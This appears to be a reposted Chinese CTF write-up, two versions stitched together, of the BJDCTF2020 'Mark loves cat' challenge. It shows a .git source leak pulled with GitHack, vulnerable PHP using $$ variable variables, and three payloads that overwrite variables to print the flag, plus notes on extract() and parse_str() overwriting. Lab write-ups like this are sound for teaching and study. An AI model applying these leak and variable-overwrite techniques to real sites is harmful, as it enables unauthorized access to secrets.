[BJDCTF2020]Mark loves cat |变量覆盖(三解)

Posted coleak

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF2020]Mark loves cat |变量覆盖(三解)相关的知识,希望对你有一定的参考价值。

目录

信息收集

代码泄露

代码审计

payload1

payload2

payload3

补充

全局变量覆盖

extract()变量覆盖

parse_str()变量覆盖


信息收集

代码泄露

200     /.git/HEAD
200     /.git/index
200     /.git/config
200     /.git/description

200     /flag.php

python githack.py url:81/.git/

buu这边环境有点问题,我们直接拿wp里面的源码进行审计

  • flag.php
<?php
    $flag = file_get_contents('/flag');
?>
  • index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y)
    $$x = $y;


foreach($_GET as $x => $y)
    $$x = $$y;


foreach($_GET as $x => $y)
    if($_GET['flag'] === $x && $x !== 'flag')
        exit($handsome);
    


if(!isset($_GET['flag']) && !isset($_POST['flag']))
    exit($yds);


if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag')
    exit($is);


echo "the flag is: ".$flag;
?>

$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

代码审计

定义了三个变量并对三个变量进行了输出,但是我们想要的是输出flag的值,这里就想到了变量覆盖的问题,源代码中存在多个变量输出的地方,应该是都可以覆盖成flag进行输出

payload1

?handsome=flag&flag=handsome

payload2

?yds=flag

payload3

is=flag&flag=flag

补充

全局变量覆盖

register_globals的意思是注册为全局变量,所以当为On的时候,传递过来的值会被直接注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它

<?php  
$id=0;
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";   
//ini_get — 获取一个配置选项的值
echo '$_GET["id"] :'.$_GET['id']."<br/>";
echo '$id :'.$id;
?>

?id=4

Register_globals: 0
$_GET["id"] :4
$id :0

当register_globals=Off的时候,程序接收的时候应该用$_GET['id']来接受传递过来的值;
当register_globals=On的时候,程序可以直接使用$id来接受值,也可以用$_GET['id']来接受传递过来的值。
通过这种方式就可以向程序注册一个之前没有声明的变量,不过如果之前变量已经存在就无法覆盖掉,原已有变量值不变。

如,上面的代码中,已经对变量$id赋了初始值,比如$id=0,那么即使在URL中有/test.php?id=1,也不会将变量覆盖,id值为0

extract()变量覆盖

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\\$a = $a; \\$b = $b; \\$c = $c";
?>
//运行结果:$a = Cat; $b = Dog; $c = Horse(Cat将Original覆盖了)

?auth=1

<?php  
    $auth = '0';  
    // 这里可以覆盖$auth的变量值
    extract($_GET);   
    if($auth == 1)  
        echo "private!";  
     else  
        echo "public!";  
      
?>
// 构造payload:?auth=1即可

parse_str()变量覆盖

// 把查询字符串解析到变量中:
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>

Peter
43

[BJDCTF2020]Mark loves cat

[BJDCTF2020]Mark loves cat

 技术图片

 

 发现git泄露,使用gitHack工具进行分析

python GitHack.py http://00db6bf7-dacb-4734-965d-9974f3882333.node3.buuoj.cn/.git

获得index.php和flag.php文件
index.php

 1 <?php
 2 
 3 include ‘flag.php‘;
 4 
 5 $yds = "dog";
 6 $is = "cat";
 7 $handsome = ‘yds‘;
 8 
 9 foreach($_POST as $x => $y){
10     $$x = $y;
11 }
12 
13 foreach($_GET as $x => $y){
14     $$x = $$y;
15 }
16 
17 foreach($_GET as $x => $y){
18     if($_GET[‘flag‘] === $x && $x !== ‘flag‘){
19         exit($handsome);
20     }
21 }
22 
23 if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){
24     exit($yds);
25 }
26 
27 if($_POST[‘flag‘] === ‘flag‘  || $_GET[‘flag‘] === ‘flag‘){
28     exit($is);
29 }
30 
31 echo "the flag is: ".$flag;

flag.php

<?php

$flag = file_get_contents(‘/flag‘);

index.php代码第9行和13行,根据$$和foreach可以判断可能存在变量覆盖漏洞,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。
例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。

foreach($_GET as $x => $y){
    if($_GET[‘flag‘] === $x && $x !== ‘flag‘){
        exit($handsome);
    }
}

通过查看index.php代码第23行,发现get和post中不存在flag参数便退出程序输出$yds变量,这个地方可以利用

1 if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){
2     exit($yds);
3 }

传递如下提交方式的参数

get: yds=flag
post: $flag=flag

通过post方式传递$flag=flag,最终结果为$$flag=flag

POST方式处理代码如下

foreach($_POST as $x => $y){
    $$x = $y;
}

通过get方式传递yds=flag,最终结果为$yds=$flag

GET方式处理代码如下

foreach($_GET as $x => $y){
    $$x = $$y;
}

get和post中不存在flag参数便退出程序输出$yds变量,得到flag

if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){
    exit($yds);
}

payLoad:

?yds=flag
post: $flag=flag

 

 

 

以上是关于[BJDCTF2020]Mark loves cat |变量覆盖(三解)的主要内容,如果未能解决你的问题,请参考以下文章

[BJDCTF2020]EzPHP

hdu 5656 CA Loves GCD

hdu 5655 CA Loves Stick

hdu-5655 CA Loves Stick(水题)

bjdctf_2020_babyrop

hdu-5656 CA Loves GCD(dp+数论)